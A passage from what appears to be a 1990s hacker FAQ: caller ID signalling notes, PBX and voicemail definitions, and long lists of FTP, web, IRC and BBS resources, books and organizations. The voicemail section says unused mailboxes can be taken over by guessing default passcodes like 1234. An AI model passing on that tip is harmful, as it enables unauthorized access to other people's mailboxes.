Bell 202 modem, the receiving CPE need not be a Bell 202 modem. A
V.23 1200 bps modem receiver may be used to demodulate the Bell 202
signal. The ring indicate bit (RI) may be used on a modem to indicate
when to monitor the phone line for CND information. After the RI bit
sets, indicating the first ring burst, the host waits for the RI bit
to reset. The host then configures the modem to monitor the phone
line for CND information.
Signalling
~~~~~~~~~~
According to Bellcore specifications, CND signalling starts as early
as 300 mS after the first ring burst and ends at least 475 mS before
the second ring burst
Applications
~~~~~~~~~~~~
Once CND information is received the user may process the information
in a number of ways.
1. The date, time, and calling party's directory number can be
displayed.
2. Using a look-up table, the calling party's directory number can be
correlated with his or her name and the name displayed.
3. CND information can also be used in additional ways such as for:
a. Bulletin board applications
b. Black-listing applications
c. Keeping logs of system user calls, or
d. Implementing a telemarketing data base
References
~~~~~~~~~~
For more information on Calling Number Delivery (CND), refer to
Bellcore publications TR-TSY-000030 and TR-TSY-000031.
To obtain Bellcore documents contact:
Bellcore Customer Service
60 New England Avenue, Room 1B252
Piscataway, NJ 08834-4196
(908) 699-5800
28. What is a PBX?
A PBX is a Private Branch Exchange. A PBX is a small telephone switch
owned by a company or organization. Let's say your company has a
thousand employees. Without a PBX, you would need a thousand phone
lines. However, only 10% of your employees are talking on the phone
at one time. What if you had a computer that automatically found an
outside line every time one of your employees picked up the telephone.
With this type of system, you could get by with only paying for one
hundred phone lines. This is a PBX.
29. What is a VMB?
A VMB is a Voice Mail Box. A VMB is a computer that acts as an
answering machine for hundreds or thousands of users. Each user will
have their own Voice Mail Box on the system. Each mail box will have
a box number and a pass code.
Without a passcode, you will usually be able to leave messages to
users on the VMB system. With a passcode, you can read messages and
administer a mailbox. Often, mailboxes will exist that were created
by default or are no longer used. These mailboxes may be taken over
by guessing their passcode. Often the passcode will be the mailbox
number or a common number such as 1234.
Section C: Resources
~~~~~~~~~~~~~~~~~~~~
01. What are some ftp sites of interest to hackers?
N 198.69.103.23 (Mac)
N aeneas.mit.edu
alex.sp.cs.cmu.edu /links/security (Misc)
N alife.santafe.edu
aql.gatech.edu /pub (40Hex)
N asylum.sf.ca.us
athena-dist.mit.edu /pub/ATHENA (Athena Project)
N atlantis.utmb.edu
bellcore.com (Bellcore)
camelot.usc.edu /pub/cellular/DDIinfodemo (Cellular)
cert.org (CERT)
N ciac.llnl.gov
coast.cs.purdue.edu /pub (Security/COAST)
N csrc.ncsl.nist.gov
dartmouth.edu /pub/security (Security)
N dg-rtp.dg.com
N ds.internic.net
N enlow.com
freeside.com (Phrack)
ftp.3com.com /mirrors/zip (ZipCrypt)
ftp.3com.com /Orange-Book (Orange Book)
N ftp.acns.nwu.edu
N ftp.alantec.com
ftp.armory.com /pub/user/kmartind (H/P)
N ftp.armory.com /pub/user/swallow
N ftp.c3.lanl.gov
N ftp.cc.rochester.edu
N ftp.cert.dfn.de (FIRST)
ftp.cic.net /pub/e-serials/alphabetic/p/phrack (Zines)
N ftp.cisco.com
ftp.clark.net /pub/jcase (H/P)
ftp.cnam.fr
ftp.commerce.net /pubs/standards/drafts/shttp.txt(Secure HyperText)
N ftp.cs.colorado.edu
N ftp.cs.ruu.nl
ftp.cs.uwm.edu /pub/comp-privacy (Privacy Digest)
N ftp.cs.vu.nl
N ftp.cs.yale.edu
ftp.csl.sri.com /pub/nides (SRI)
ftp.csua.berkeley.edu /pub/cypherpunks (Crypto)
N ftp.cyberspace.com /pub/archive/defcon (PhoneTag)
N ftp.delmarva.com
N ftp.dsi.unimi.it
N ftp.ee.lbl.gov
U ftp.eff.org /pub/Publications/CuD (EFF)
ftp.elelab.nsc.co.jp /pub/security (Security)
ftp.etext.org (Etext)
U ftp.fc.net /pub/defcon (DefCon)
N ftp.fc.net /pub/defcon/BBEEP (BlueBeep)
N ftp.fh-berlin.de
N ftp.foobar.com
N ftp.funet.fi
ftp.gate.net /pub/users/laura
ftp.gate.net /pub/users/wakko
ftp.greatcircle.com /pub/firewalls (Firewalls)
ftp.halcyon.com /pub/cud (Zines)
ftp.IEunet.ie /pub/security (Security)
N ftp.ifi.uio.no
N ftp.info.fundp.ac.be
N ftp.informatik.uni-hamburg.de
ftp.inoc.dl.nec.com /pub/security (Security)
N ftp.isi.edu
U ftp.llnl.gov /pub (CIAC)
N ftp.lysator.liu.se
N ftp.mcs.com /mcsnet.users/crisadm (Virii)
N ftp.microserve.net /ppp-pop/strata/mac (Mac)
ftp.near.net /security/archives/phrack (Zines)
N ftp.nec.com
ftp.netcom.com /pub/br/bradleym (Virii)
N ftp.netcom.com /pub/da/daemon9
ftp.netcom.com /pub/va/vandal (DnA)
ftp.netcom.com /pub/zz/zzyzx (H/P)
N ftp.netsys.com
ftp.ocs.mq.edu.au /PC/Crypt (Crypto)
ftp.paranoia.com /pub/toneloc/tl110.zip (ToneLoc)
N ftp.pop.psu.edu
ftp.primus.com /pub/armchair (Phoney)
ftp.primus.com /pub/security (Security)
N ftp.psy.uq.oz.au
ftp.rahul.net /pub/lps (Home of the FAQ)
N ftp.sert.edu.au
N ftp.sgi.com
ftp.std.com /archives/alt.locksmithing (Locksmithing)
ftp.std.com /obi/Mischief/ (MIT Guide to Locks)
ftp.std.com /obi/Phracks (Zines)
ftp.sunet.se /pub/network/monitoring (Ethernet sniffers)
ftp.sura.net /pub/security (SURAnet)
N ftp.technet.sg
ftp.tis.com /pub (TIS)
N ftp.uspto.gov
ftp.uu.net /doc/literary/obi/Phracks (Zines)
N ftp.uwp.edu (Copy protection)
N ftp.vis.colostate.edu
N ftp.vix.com
N ftp.vortex.com
ftp.warwick.ac.uk /pub/cud (Zines)
ftp.win.tue.nl /pub/security (Security)
ftp.winternet.com /users/craigb (H/P)
ftp.wustl.edu /doc/EFF (EFF)
furmint.nectar.cs.cmu.edu /security (Crypto)
garbo.uwasa.fi /pc/crypt (Crypto)
N gumby.dsd.trw.com
N hack-this.pc.cc.cmu.edu (Back again!)
N hplyot.obspm.fr
N info.mcs.anl.gov
N jerico.usc.edu
lcs.mit.edu /telecom-archives (Telecom archives)
lod.amaranth.com (Legion of Doom)
N l0pht.com (The L0pht)
N mac.archive.umich.edu
mary.iia.org /pub/users/patriot (Misc)
N monet.ccs.itd.umich.edu
net.tamu.edu /pub/security/TAMU (Security)
net23.com /pub (Max Headroom)
nic.ddn.mil /scc (DDN Security)
nic.funet.fi /pub/doc/cud (Zines)
N oak.oakland.edu
paradox1.denver.colorado.edu /anonymous/text-files/pyrotechnics (Pyro)
N parcftp.xerox.com
pyrite.rutgers.edu /pub/security (Security)
relay.cs.toronto.edu /doc/telecom-archives (Telecom)
rena.dit.co.jp /pub/security (Security)
research.att.com /dist/internet_security (AT&T)
ripem.msu.edu /pub/crypt (Ripem)
rs1.rrz.uni-koeln.de (Wordlists)
rtfm.mit.edu (Etext)
rtfm.mit.edu /pub/usenet-by-group (Usenet FAQ's)
sable.ox.ac.uk (Wordlists)
N samadams.princeton.edu
scss3.cl.msu.edu /pub/crypt (Crypto)
N sierra.stanford.edu
spy.org (CSC)
suburbia.apana.org.au /pub/unix/security (Security)
N sunsolve1.sun.com
N tam.cs.ucdavis.edu
N technion.ac.il
theta.iis.u-tokyo.ac.jp /pub1/security (Security)
N thumper.bellcore.com
titania.mathematik.uni-ulm.de /pub/security (Security)
N toxicwaste.mit.edu /pub/rsa129/README (Breaking RSA)
uceng.uc.edu /pub/kerberos.documentation (Kerberos)
N ugle.unit.no
N vic.cc.purdue.edu
N whacked.l0pht.com (Mac + H/P)
wimsey.bc.ca /pub/crypto (Crypto)
02. What are some fsp sites of interest to hackers?
Third Stone From the Sun 132.241.180.91 6969
03. What are some newsgroups of interest to hackers?
alt.2600 Do it 'til it hertz
alt.2600.hope.tech Technology concerns for Hackers on Planet Earth 1994
alt.cellular
N alt.cellular-phone-tech
N alt.comp.virus
alt.cyberpunk High-tech low-life.
alt.cyberspace Cyberspace and how it should work.
alt.dcom.telecom Discussion of telecommunications technology
alt.engr.explosives [no description available]
alt.hackers Descriptions of projects currently under development
alt.locksmithing You locked your keys in *where*?
alt.hackers.malicious The really bad guys - don't take candy from them
N alt.ph.uk
alt.privacy.anon-server Tech. & policy matters of anonymous contact servers
alt.radio.pirate Hide the gear, here comes the magic station-wagons.
alt.radio.scanner Discussion of scanning radio receivers.
N alt.satellite.tv.europe
alt.security Security issues on computer systems
alt.security.index Pointers to good stuff in misc.security (Moderated)
alt.security.keydist Exchange of keys for public key encryption systems
alt.security.pgp The Pretty Good Privacy package
alt.security.ripem A secure email system illegal to export from the US
comp.dcom.cellular [no description available]
comp.dcom.telecom Telecommunications digest (Moderated)
comp.dcom.telecom.tech [no description available]
comp.org.cpsr.announce Computer Professionals for Social Responsibility
comp.org.cpsr.talk Issues of computing and social responsibility
comp.org.eff.news News from the Electronic Frontiers Foundation
comp.org.eff.talk Discussion of EFF goals, strategies, etc.
comp.protocols.kerberos The Kerberos authentification server
comp.protocols.tcp-ip TCP and IP network protocols
comp.risks Risks to the public from computers & users
comp.security.announce Announcements from the CERT about security
comp.security.misc Security issues of computers and networks
comp.security.unix Discussion of Unix security
comp.virus Computer viruses & security (Moderated)
de.org.ccc Mitteilungen des CCC e.V.
misc.security Security in general, not just computers (Moderated)
rec.pyrotechnics Fireworks, rocketry, safety, & other topics
rec.radio.scanner [no description available]
rec.video.cable-tv Technical and regulatory issues of cable television
sci.crypt Different methods of data en/decryption
04. What are some telnet sites of interest to hackers?
ntiabbs.ntia.doc.gov (NTIA)
N l0pht.com (The L0pht)
N sfpg.gcomm.com (The Floating Pancreas)
U telnet lust.isca.uiowa.edu 2600 (underground bbs) (temporarily down)
05. What are some gopher sites of interest to hackers?
ba.com (Bell Atlantic)
csrc.ncsl.nist.gov (NIST Security Gopher)
gopher.acm.org (SIGSAC (Security, Audit & Control))
gopher.cpsr.org (Computer Professionals for Social Responsibility)
gopher.cs.uwm.edu
gopher.eff.org (Electonic Frontier Foundation)
gw.PacBell.com (Pacific Bell)
iitf.doc.gov (NITA -- IITF)
oss.net (Open Source Solutions)
spy.org (Computer Systems Consulting)
wiretap.spies.com (Wiretap)
06. What are some World wide Web (WWW) sites of interest to hackers?
N http://alumni.caltech.edu/~dank/isdn/ (ISDN)
http://aset.rsoc.rockwell.com (NASA/MOD AIS Security)
http://aset.rsoc.rockwell.com/exhibit.html (Tech. for Info Sec)
N http://att.net/dir800 (800 directory)
http://ausg.dartmouth.edu/security.html (Security)
http://cs.purdue.edu/coast/coast.html (Coast)
http://csrc.ncsl.nist.gov (NIST)
U http://dhp.com/~pluvius
U http://dfw.net/~aleph1 (Eubercrackers)
http://draco.centerline.com:8080/~franl/crypto.html (Crypto)
http://everest.cs.ucdavis.edu/Security.html (Security)
http://everest.cs.ucdavis.edu/slides/slides.html(Security Lab Slides)
http://ezinfo.ethz.ch/ETH/D-REOK/fsk/fsk_homepage.html (CSSCR)
http://first.org (FIRST)
http://ftp.tamu.edu/~abr8030/security.html (Security)
http://hightop.nrl.navy.mil/potpourri.html (Security)
http://hightop.nrl.navy.mil/rainbow.html (Rainbow Books)
N http://ice-www.larc.nasa.gov/ICE/papers/hacker-crackdown.html (Sterling)
N http://ice-www.larc.nasa.gov/ICE/papers/nis-requirements.html (ICE NIS)
http://info.bellcore.com/BETSI/betsi.html (Betsi)
http://infosec.nosc.mil/infosec.html (SPAWAR INFOSEC)
http://l0pht.com (The l0pht)
N http://l0pht.com/~oblivion/IIRG.html (Phantasy Magazine)
N http://mindlink.jolt.com (The Secrets of LockPicking)
http://mls.saic.com (SAIC MLS)
http://naic.nasa.gov/fbi/FBI_homepage.html (FBI Homepage)
http://nasirc.hq.nasa.gov (NASA ASIRC)
http://ophie.hughes.american.edu/~ophie
N http://ripco.com:8080/~glr/glr.html (Full Disclosure)
N http://spy.org (CSC)
http://tansu.com.au/Info/security.html (Comp and Net Security)
http://the-tech.mit.edu (LaMacchia case info)
N http://ucs.orst.edu:8001/mintro.html (Micro Power Broadcasting)
http://wintermute.itd.nrl.navy.mil/5544.html (Network Security)
http://www.aads.net (Ameritech)
http://www.alw.nih.gov/WWW/security.html (Unix Security)
http://www.artcom.de/CCC (CCC Homepage)
http://www.aspentec.com/~frzmtdb/fun/hacker.html
N http://www.aus.xanadu.com:70/1/EFA (EFF Australia)
http://www.ba.com (Bell Atlantic)
http://www.beckman.uiuc.edu/groups/biss/VirtualLibrary/xsecurity.html(X-Win)
http://www.bell.com (MFJ Task Force)
http://www.bellcore.com/SECURITY/security.html (Bellcore Security Products)
http://www.brad.ac.uk/~nasmith/index.html
http://www.bst.bls.com (BellSouth)
http://www.c3.lanl.gov/~mcn (Lanl)
N http://www.cert.dfn.de/ (German First Team)
http://www.commerce.net/information/standards/drafts/shttp.txt (HyperText)
http://www.contrib.andrew.cmu.edu:8001/usr/dscw/home.html
http://www.cpsr.org/home (CPSR)
N http://www.cs.tufts.edu/~mcable/cypher/alerts/alerts.html (Cypherpunk)
N http://www.cs.tufts.edu/~mcable/HackerCrackdown (Hacker Crackdown)
http://www.cs.umd.edu/~lgas
http://www.cs.cmu.edu:8001/afs/cs.cmu.edu/user/bsy/www/sec.html (Security)
http://www.csd.harris.com/secure_info.html (Harris)
http://www.csl.sri.com (SRI Computer Science Lab)
N http://www.cybercafe.org/cybercafe/pubtel/pubdir.html (CyberCafe)
http://www.datafellows.fi (Data Fellows)
http://www.delmarva.com/raptor/raptor.html (Raptor Network Isolator)
http://www.demon.co.uk/kbridge (KarlBridge)
http://www.digicash.com/ecash/ecash-home.html (Digital Cash)
http://www.digital.com/info/key-secure-index.html(Digital Secure Systems)
http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html(Bugtraq)
http://www.eecs.nwu.edu/~jmyers/ids/index.html (Intrusion Detection Systems)
N http://www.eff.org/papers.html (EFF)
http://www.engin.umich.edu/~jgotts/boxes.html (Box info)
U http://www.engin.umich.edu/~jgotts/underground/hack-faq.html(This document)
http://www.ensta.fr/internet/unix/sys_admin (System administration)
N http://www.etext.org/Zines/ (Zines)
http://www.fc.net/defcon (DefCon)
N http://www.fedworld.gov (Federal Government)
N http://www.first.org/first/ (FIRST)
N http://www.getnet.com/crak or (CRAK Software)
http://www.greatcircle.com (Great Circle Associates)
http://www.hpcc.gov/blue94/section.4.6.html (NSA)
http://www.ic.gov (The CIA)
N http://www.indirect.com/www/johnk/ (CRAK Software)
http://www.lerc.nasa.gov/Unix_Team/Dist_Computing_Security.html (Security)
http://www.lysator.liu.se:7500/terror/thb_title.html (Terrorists Handbook)
http://www.lysator.liu.se:7500/mit-guide/mit-guide.html (Lockpicking Guide)
N http://www.mpr.ca/ (MPR Teltech Ltd)
http://www.net23.com (Max Headroom)
http://www.nist.gov (NIST)
N http://www.ntt.jp (Nippon Telephone)
http://www.pacbell.com (Pacific Bell)
http://www.paranoia.com/mthreat (ToneLoc)
http://www.pegasus.esprit.ec.org/people/arne/pgp.html (PGP)
http://www.phantom.com/~king (Taran King)
N http://www.primenet.com/~kludge/haqr.html (Kludge)
U http://www.quadralay.com/www/Crypt/Crypt.html (Quadralay Cryptography)
N http://www.qualcomm.com/cdma/wireless.html (Qualcomm CDMA)
http://www.research.att.com (AT&T)
http://www.rsa.com (RSA Data Security)
http://www.satelnet.org/~ccappuc
http://www.service.com/cm/uswest/usw1.html (USWest)
http://www.shore.net/~oz/welcome.html (Hack TV)
http://www.spy.org (Computer Systems Consulting)
http://www.sri.com (SRI)
http://www.tansu.com.au/Info/security.html (Security Reference Index)
http://www.tis.com (Trusted Information Systems)
http://www.tri.sbc.com (Southwestern Bell)
http://www.uci.agh.edu.pl/pub/security (Security)
http://www.umcc.umich.edu/~doug/virus-faq.html (Virus)
N http://www.usfca.edu/crackdown/crack.html (Hacker Crackdown)
http://www.wam.umd.edu/~ankh/Public/devil_does_unix
http://www.wiltel.com (Wiltel)
N http://www.winternet.com/~carolann/dreams.html
http://www.wired.com (Wired Magazine)
07. What are some IRC channels of interest to hackers?
#2600
#cellular
#hack
#phreak
#linux
#realhack
#root
#unix
#warez
08. What are some BBS's of interest to hackers?
N Rune Stone (203)832-8441
Hacker's Haven (303)343-4053
Independent Nation (315)656-4179
N Ut0PiA (315)656-5135
underworld_1994.com (514)683-1894
Digital Fallout (516)378-6640
Alliance Communications (612)251-8596
N Maas-Neotek (617)855-2923
Apocalypse 2000 (708)676-9855
K0dE Ab0dE (713)579-2276
fARM R0Ad 666 (713)855-0261
09. What are some books of interest to hackers?
General Computer Security
~~~~~~~~~~~~~~~~~~~~~~~~~
Computer Security Basics
Author: Deborah Russell and G.T. Gengemi Sr.
Publisher: O'Reilly & Associates, Inc.
Copyright Date: 1991
ISBN: 0-937175-71-4
This is an excellent book. It gives a broad overview of
computer security without sacrificing detail. A must read for
the beginning security expert.
Computer Security Management
Author: Karen Forcht
Publisher: Boyd and Fraser
Copyright Date: 1994
ISBN: 0-87835-881-1
Information Systems Security
Author: Philip Fites and Martin Kratz
Publisher: Van Nostrad Reinhold
Copyright Date: 1993
ISBN: 0-442-00180-0
Computer Related Risks
Author: Peter G. Neumann
Publisher: Addison-Wesley
Copyright Date: 1995
ISBN: 0-201-55805-X
Computer Security Management
Author: Karen Forcht
Publisher: boyd & fraser publishing company
Copyright Date: 1994
ISBN: 0-87835-881-1
N The Stephen Cobb Complete Book of PC and LAN Security
Author: Stephen Cobb
Publisher: Windcrest Books
Copyright Date: 1992
ISBN: 0-8306-9280-0 (hardback) 0-8306-3280-8 (paperback)
N Security in Computing
Author: Charles P. Pfleeger
Publisher: Prentice Hall
Copyright Date: 1989
ISBN: 0-13-798943-1.
N Building a Secure Computer System
Author: Morrie Gasser
Publisher: Van Nostrand Reinhold Co., New York.
Copyright Date:
ISBN: 0-442-23022-2
N Modern Methods for Computer Security
Author: Lance Hoffman
Publisher: Prentice Hall
Copyright Date: 1977
ISBN:
N Windows NT 3.5 Guidelines for Security, Audit and Control
Author:
Publisher: Microsoft Press
Copyright Date:
ISBN: 1-55615-814-9
Unix System Security
~~~~~~~~~~~~~~~~~~~~
Practical Unix Security
Author: Simson Garfinkel and Gene Spafford
Publisher: O'Reilly & Associates, Inc.
Copyright Date: 1991
ISBN: 0-937175-72-2
Finally someone with a very firm grasp of Unix system security
gets down to writing a book on the subject. Buy this book.
Read this book.
Firewalls and Internet Security
Author: William Cheswick and Steven Bellovin
Publisher: Addison Wesley
Copyright Date: 1994
ISBN: 0-201-63357-4
Unix System Security
Author: Rik Farrow
Publisher: Addison Wesley
Copyright Date: 1991
ISBN: 0-201-57030-0
Unix Security: A Practical Tutorial
Author: N. Derek Arnold
Publisher: McGraw Hill
Copyright Date: 1993
ISBN: 0-07-002560-6
Unix System Security: A Guide for Users and Systems Administrators
Author: David A. Curry
Publisher: Addison-Wesley
Copyright Date: 1992
ISBN: 0-201-56327-4
Unix System Security
Author: Patrick H. Wood and Stephen G. Kochan
Publisher: Hayden Books
Copyright Date: 1985
ISBN: 0-672-48494-3
Unix Security for the Organization
Author: Richard Bryant
Publisher: Sams
Copyright Date: 1994
ISBN: 0-672-30571-2
Network Security
~~~~~~~~~~~~~~~~
Network Security Secrets
Author: David J. Stang and Sylvia Moon
Publisher: IDG Books
Copyright Date: 1993
ISBN: 1-56884-021-7
Not a total waste of paper, but definitely not worth the
$49.95 purchase price. The book is a rehash of previously
published information. The only secret we learn from reading
the book is that Sylvia Moon is a younger woman madly in love
with the older David Stang.
Complete Lan Security and Control
Author: Peter Davis
Publisher: Windcrest / McGraw Hill
Copyright Date: 1994
ISBN: 0-8306-4548-9 and 0-8306-4549-7
Network Security
Author: Steven Shaffer and Alan Simon
Publisher: AP Professional
Copyright Date: 1994
ISBN: 0-12-638010-4
Cryptography
~~~~~~~~~~~~
Applied Cryptography: Protocols, Algorithms, and Source Code in C
Author: Bruce Schneier
Publisher: John Wiley & Sons
Copyright Date: 1994
ISBN: 0-471-59756-2
Bruce Schneier's book replaces all other texts on
cryptography. If you are interested in cryptography, this is
a must read. This may be the first and last book on
cryptography you may ever need to buy.
Cryptography and Data Security
Author: Dorothy Denning
Publisher: Addison-Wesley Publishing Co.
Copyright Date: 1982
ISBN: 0-201-10150-5
Protect Your Privacy: A Guide for PGP Users
Author: William Stallings
Publisher: Prentice-Hall
Copyright Date: 1994
ISBN: 0-13-185596-4
Programmed Threats
~~~~~~~~~~~~~~~~~~
The Little Black Book of Computer Viruses
Author: Mark Ludwig
Publisher: American Eagle Publications
Copyright Date: 1990
ISBN: 0-929408-02-0
The original, and still the best, book on computer viruses.
No media hype here, just good clean technical information.
Computer Viruses, Artificial Life and Evolution
Author: Mark Ludwig
Publisher: American Eagle Publications
Copyright Date: 1993
ISBN: 0-929408-07-1
Computer Viruses, Worms, Data Diddlers, Killer Programs, and Other
Threats to Your System
Author: John McAfee and Colin Haynes
Publisher: St. Martin's Press
Copyright Date: 1989
ISBN: 0-312-03064-9 and 0-312-02889-X
The Virus Creation Labs: A Journey Into the Underground
Author: George Smith
Publisher: American Eagle Publications
Copyright Date: 1994
ISBN:
Telephony
~~~~~~~~~
Engineering and Operations in the Bell System
Author: R.F. Rey
Publisher: Bell Telephont Laboratories
Copyright Date: 1983
ISBN: 0-932764-04-5
Although hopelessly out of date, this book remains *THE* book
on telephony. This book is 100% Bell, and is loved by phreaks
the world over.
Telephony: Today and Tomorrow
Author: Dimitris N. Chorafas
Publisher: Prentice-Hall
Copyright Date: 1984
ISBN: 0-13-902700-9
The Telecommunications Fact Book and Illustrated Dictionary
Author: Ahmed S. Khan
Publisher: Delmar Publishers, Inc.
Copyright Date: 1992
ISBN: 0-8273-4615-8
I find this dictionary to be an excellent reference book on
telephony, and I recommend it to anyone with serious
intentions in the field.
N Tandy/Radio Shack Cellular Hardware
Author: Judas Gerard and Damien Thorn
Publisher: Phoenix Rising Communications
Copyright Date: 1994
ISBN:
N The Phone Book
Author: Carl Oppendahl
Publisher: Consumer Reports
Copyright Date:
ISBN: 0-89043-364-x
Listing of every cellular ID in the us, plus roaming ports,
and info numbers for each carrier.
N Principles of Caller I.D.
Author:
Publisher: International MicroPower Corp.
Copyright Date:
ISBN:
Hacking History and Culture
~~~~~~~~~~~~~~~~~~~~~~~~~~~
The Hacker Crackdown: Law and Disorder on the Electronic Frontier
Author: Bruce Sterling
Publisher: Bantam Books
Copyright Date: 1982
ISBN: 0-553-56370-X
Bruce Sterling has recently released the book FREE to the net.
The book is much easier to read in print form, and the
paperback is only $5.99. Either way you read it, you will be
glad you did. Mr. Sterling is an excellent science fiction
author and has brought his talent with words to bear on the
hacking culture. A very enjoyable reading experience.
Cyberpunk
Author: Katie Hafner and John Markoff
Publisher: Simon and Schuster
Copyright Date: 1991
ISBN: 0-671-77879-X
The Cuckoo's Egg
Author: Cliff Stoll
Publisher: Simon and Schuster
Copyright Date: 1989
ISBN: 0-671-72688-9
Hackers: Heroes of the Computer Revolution
Author: Steven Levy
Publisher: Doubleday
Copyright Date: 1984
ISBN: 0-440-13495-6
Unclassified
~~~~~~~~~~~~
The Hacker's Handbook
Author: Hugo Cornwall
Publisher: E. Arthur Brown Company
Copyright Date:
ISBN: 0-912579-06-4
Secrets of a Super Hacker
Author: The Knightmare
Publisher: Loompanics
Copyright Date: 1994
ISBN: 1-55950-106-5
The Knightmare is no super hacker. There is little or no real
information in this book. The Knightmare gives useful advice
like telling you not to dress up before going trashing.
The Knightmare's best hack is fooling Loompanics into
publishing this garbage.
The Day The Phones Stopped
Author: Leonard Lee
Publisher: Primus / Donald I Fine, Inc.
Copyright Date: 1992
ISBN: 1-55611-286-6
Total garbage. Paranoid delusions of a lunatic. Less factual
data that an average issue of the Enquirer.
Information Warfare
Author: Winn Swartau
Publisher: Thunder Mountain Press
Copyright Date: 1994
ISBN: 1-56025-080-1
An Illustrated Guide to the Techniques and Equipment of Electronic Warfare
Author: Doug Richardson
Publisher: Salamander Press
Copyright Date:
ISBN: 0-668-06497-8
10. What are some videos of interest to hackers?
'Unauthorized Access' by Annaliza Savage
$25 on VH S format in 38-min
Savage Productions
1803 Mission St., #406
Santa Cruz, CA 95060
11. What are some mailing lists of interest to hackers?
Academic Firewalls
Reflector Address:
Registration Address: Send a message to majordomo@greatcircle.com
containing the line "subscribe firewalls user@host"
U Bugtraq
Reflector Address: bugtraq@fc.net
Registration Address: bugtraq-request@fc.net
Cert Tools
Reflector Address: cert-tools@cert.org
Registration Address: cert-tools-request@cert.org
Computers and Society
Reflector Address: Comp-Soc@limbo.intuitive.com
Registration Address: taylor@limbo.intuitive.com
Coordinated Feasibility Effort to Unravel State Data
Reflector Address: ldc-sw@cpsr.org
Registration Address:
CPSR Announcement List
Reflector Address: cpsr-announce@cpsr.org
Registration Address:
CPSR - Intellectual Property
Reflector Address: cpsr-int-prop@cpsr.org
Registration Address:
CPSR - Internet Library
Reflector Address: cpsr-library@cpsr.org
Registration Address:
DefCon Announcement List
Reflector Address:
Registration Address: Send a message to majordomo@fc.net containing
the line "subscribe dc-announce"
DefCon Chat List
Reflector Address:
Registration Address: Send a message to majordomo@fc.net containing
the line "subscribe dc-stuff"
N IDS (Intruder Detection Systems)
Reflector Address:
Registration Address: Send a message to majordomo@wyrm.cc.uow.edu.au
containing the line "subscribe ids"
Macintosh Security
Reflector Address: mac-security@eclectic.com
Registration Address: mac-security-request@eclectic.com
NeXT Managers
Reflector Address:
Registration Address: next-managers-request@stolaf.edu
Phiber-Scream
Reflector Address:
Registration Address: Send a message to listserv@netcom.com
containing the line "subscribe phiber-scream user@host"
N phruwt-l (Macintosh H/P)
Reflector Address:
Registration Address: Send a message to filbert@netcom.com
with the subject "phruwt-l"
rfc931-users
Reflector Address: rfc931-users@kramden.acf.nyu.edu
Registration Address: brnstnd@nyu.edu
RSA Users
Reflector Address: rsaref-users@rsa.com
Registration Address: rsaref-users-request@rsa.com
12. What are some print magazines of interest to hackers?
2600 - The Hacker Quarterly
~~~~~~~~~~~~~~~~~~~~~~~~~~~
E-mail address: 2600@well.sf.ca.us
Subscription Address: 2600 Subscription Dept
PO Box 752
Middle Island, NY 11953-0752
Letters and article submission address: 2600 Editorial Dept
PO Box 99
Middle Island, NY 11953-0099
Subscriptions: United States: $21/yr individual, $50 corporate.
Overseas: $30/yr individual, $65 corporate.
Gray Areas
~~~~~~~~~~
Gray Areas examines gray areas of law and morality and subject matter
which is illegal, immoral and/oe controversial. Gray Areas explores
why hackers hack and puts hacking into a sociological framework of
deviant behavior.
E-Mail Address: grayarea@well.sf.ca.us
E-Mail Address: grayarea@netaxs.com
U.S. Mail Address: Gray Areas
PO Box 808
Broomall, PA 19008
Subscriptions: $26.00 4 issues first class
$34.00 4 issues foreign (shipped air mail)
Privacy Newsletter
~~~~~~~~~~~~~~~~~~
Privacy Newsletter is a monthly newsletter devoted to showing
consumers how to get privacy and keep it.
E-Mail Address: privacy@interramp.com
Subscription Address: Privacy Newsletter
P.O. Box 8206
Philadelphia, PA 19101-8206
Subscriptions: $99/yr (US) $149/yr (Overseas)
Wired
~~~~~
Subscription Address: subscriptions@wired.com
or: Wired
PO Box 191826
San Francisco, CA 94119-9866
Letters and article submission address: guidelines@wired.com
or: Wired
544 Second Street
San Francisco, CA 94107-1427
Subscriptions: $39/yr (US) $64/yr (Canada/Mexico) $79/yr (Overseas)
Nuts & Volts
~~~~~~~~~~~~
T& L Publications
430 Princeland Court
Corona, CA 91719
(800)783-4624 (Voice) (Subscription Only Order Line)
(909)371-8497 (Voice)
(909)371-3052 (Fax)
CIS: 74262,3664
13. What are some e-zines of interest to hackers?
CoTNo: Communications of The New Order ftp.etext.org /pub/Zines/CoTNo
Empire Times ftp.etext.org /pub/Zines/Emptimes
Phrack freeside.com
14. What are some organizations of interest to hackers?
Computer Professionals for Social Responsibility (CPSR)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CPSR empowers computer professionals and computer users to advocate
for the responsible use of information technology and empowers all who
use computer technology to participate in the public debate. As
technical experts, CPSR members provide the public and policymakers
with realistic assessments of the power, promise, and limitations of
computer technology. As an organization of concerned citizens, CPSR
directs public attention to critical choices concerning the
applications of computing and how those choices affect society.
By matching unimpeachable technical information with policy
development savvy, CPSR uses minimum dollars to have maximum impact
and encourages broad public participation in the shaping of technology
policy.
Every project we undertake is based on five principles:
* We foster and support public discussion of and public
responsibility for decisions involving the use of computers in
systems critical to society.
* We work to dispel popular myths about the infallibility of
technological systems.
* We challenge the assumption that technology alone can solve
political and social problems.
* We critically examine social and technical issues within the
computer profession, nationally and internationally.
* We encourage the use of computer technology to improve the quality
of life.
CPSR Membership Categories
75 REGULAR MEMBER
50 Basic member
200 Supporting member
500 Sponsoring member
1000 Lifetime member
20 Student/low income member
50 Foreign subscriber
50 Library/institutional subscriber
CPSR National Office
P.O. Box 717
Palo Alto, CA 94301
415-322-3778
415-322-3798 (FAX)
E-mail: cpsr@csli.stanford.edu
Electronic Frontier Foundation (EFF)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The Electronic Frontier Foundation (EFF) is dedicated to the pursuit
of policies and activities that will advance freedom and openness in
computer-based communications. It is a member-supported, nonprofit
group that grew from the conviction that a new public interest
organization was needed in the information age; that this organization
would enhance and protect the democratic potential of new computer
communications technology. From the beginning, the EFF determined to
become an organization that would combine technical, legal, and public
policy expertise, and would apply these skills to the myriad issues
and concerns that arise whenever a new communications medium is born.
Memberships are $20.00 per year for students, $40.00 per year for
regular members, and $100.00 per year for organizations.
The Electronic Frontier Foundation, Inc.
666 Pennsylvania Avenue S.E., Suite 303
Washington, D.C. 20003
+1 202 544 9237
+1 202 547 5481 FAX
Internet: eff@eff.org
Free Software Foundation (FSF) and GNU
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The Free Software Foundation is dedicated to eliminating restrictions
